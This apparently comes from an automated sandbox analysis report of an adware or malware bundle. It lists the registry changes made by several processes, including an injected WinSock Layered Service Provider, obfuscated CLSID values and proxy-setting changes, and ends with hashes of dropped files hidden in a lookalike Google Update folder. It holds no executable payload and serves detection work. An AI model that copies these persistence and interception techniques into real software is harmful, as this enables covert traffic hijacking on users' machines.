"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtiASLXG@t\li@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZkn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MoUmyRAt}uiQkf]hajkGgsAbEsCm["

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoVvS^vVxm|iNy"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000000F]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:1836 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MoUmyRAt}uiQkf]hajkGgsAbEsCm["

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E0 A5 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "RPJ_bQtlx|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtiASLXG@t\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoQFS^vVxRO|Ec"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZkn"

The Application deletes the following value(s) in system registry:

The process YTAHEL~1.EXE:3508 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\AccDownload.dll,"

The process DCytaiesmt_smtyc_setup.exe:1572 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B6 DD 57 CF FE 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "41 50 A4 EF FE 2A D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 41 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "41 50 A4 EF FE 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process spbiu.exe:2308 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:1008 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "30 A4 2B B8 97 0E 4B 58 E7 72 D8 5E 77 C1 E3 34"

The process %original file name%.exe:3852 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process wscript.exe:3520 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process GLJ52F.tmp:3012 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process taskeng.exe:1652 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{0765B347-5FBC-458F-BB23-4AB0B121E8BC}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

Dropped PE files

MD5	File path
cb8c1cc4f46fbac78150754d77460c73	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\GoogleCrashHandler.exe
7161e8e31b7fd3b1ce083c2ca5fd5f44	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\GoogleCrashHandler64.exe
f172ad4e906d97ed8f071896fc6789dc	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\GoogleUpdate.exe
06036279056145e0f08fc095cb789e6a	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\GoogleUpdateBroker.exe
edd3e562684cb4c50704b471beab1f86	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\GoogleUpdateComRegisterShell64.exe
5b4ed5734945619ee3bcdb9825d2f526	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\GoogleUpdateOnDemand.exe
87eb5afd21e52cb08883e04605b55829	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\GoogleUpdateSetup.exe
0562df97934fc271893bd916a0262e6d	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdate.dll
ee9be0f21f823ff3d22041d46712736a	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_am.dll
7806d311f4415fac76adc3387122918b	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ar.dll
d61a03d315000bb337e9198a1318b55b	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_bg.dll
d3dceaccac60d31e4cb9692b5734ce93	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_bn.dll
21de7da623ffd941c01e1295f3dba14f	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ca.dll
a8d8bf4520cf192df07c43867fd48258	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_cs.dll
6c374ada5455ecb68504b191b25ccc06	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_da.dll
5eaf9da8f656786dbce83c59823d652c	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_de.dll
19bff1f13e34affba8fe45315ed1931f	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_el.dll
c1d309ad6fd86460f2f18c38557fcb0e	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_en-GB.dll
1dbe538457324c9b02df46105a180675	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_en.dll
0a9199af7570f8f5e3e48b01f018c596	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_es-419.dll
6d166f75c9a843c5c8f5b131442b7afa	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_es.dll
6297695798031fdaac6f045a34bb9ef8	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_et.dll
214579cec303ead6871183edf637d997	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_fa.dll
01f9198ee8a90703a699d83d9e94fd71	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_fi.dll
9b0e118ad5917252e2731aca6539eb24	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_fil.dll
fdac0018fffa02b1ea9b0966652cbfb0	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_fr.dll
a707b16e4d59ba86a0c48fc9f964f7a0	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_gu.dll
db1b3f81b0db1a8c8babd62c44730631	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_hi.dll
72fb8a8f16e782227c2527f6db545a96	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_hr.dll
0deeb70a16583a397386b6e6031c3b29	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_hu.dll
5077cb1490a2fa7bf60660cb2cb62c13	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_id.dll
a9982cdd8a4d1f63c8111f8c1a5313d4	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_is.dll
8caf795f782e356d2ef70414fdb79967	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_it.dll
9ac629a5cb48daa91c9c4c01ac1d775b	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_iw.dll
883a5be3ddc30b15bd369724ab7dd4df	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ja.dll
6e18bfa6e77f65eb66d271875a3cce89	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_kn.dll
298432389d9b02270b83e42f4a2df20b	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ko.dll
cadc6be4d80117359c489f7e7a4a42ad	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_lt.dll
d5eeaf635fd51c02c3084712be5ceeaa	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_lv.dll
d45af0a7e14fb559e038662bcde20f14	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ml.dll
9c8f5f2496ed6ee87198c593146cc3e0	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_mr.dll
633065d3d6f8b9f69e7c9eeda4835cb7	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ms.dll
749e0e130382ef7e95f1ee436d60a204	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_nl.dll
ee6d60cf0fb132a118485a7ed4337b15	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_no.dll
097a8f150090e0935f707c7bf7619c35	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_pl.dll
85e11158c7629f052241c50487c9e435	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_pt-BR.dll
d6febbe87ac1cc005d5b627326d5bd28	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_pt-PT.dll
08e82061be760d2fd877737bd19f968f	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ro.dll
96ccaab514c4828853d9f66deecdb8a8	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ru.dll
eceea58ddea1ecc766995dc2b7378685	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_sk.dll
84733513696fa2d7ca2c4c708ad71862	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_sl.dll
227afc055698b10a8717a6ec12633fc8	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_sr.dll
d168c87eeb5489c6cd32b93e911a81e4	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_sv.dll
54115b69f5ca679fad7088e3e343b4e4	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_sw.dll
52c4381872ed2f1c45bb32ce0ef14270	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ta.dll
111dfd85a4a7519878ae03fdbcc8cb30	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_te.dll
5c49e512be11b7a920b2d9d33f838150	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_th.dll
ef117e38be0df2c04ef8cc00a0e2df87	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_tr.dll
238f308718efbc998b082ae824c4b16b	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_uk.dll
4464822ce255a0156778d530db20e4ea	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_ur.dll
b5c30af1c524dcc59a20afcab90b0529	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_vi.dll
4698fc6c8f886bc0fb7a3af05940cfbe	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_zh-CN.dll
2c9b6a334884ac3b39cf0d8994a87d99	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\goopdateres_zh-TW.dll
d2377c9458efeb094e38b8c874aa214c	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\npGoogleUpdate3.dll
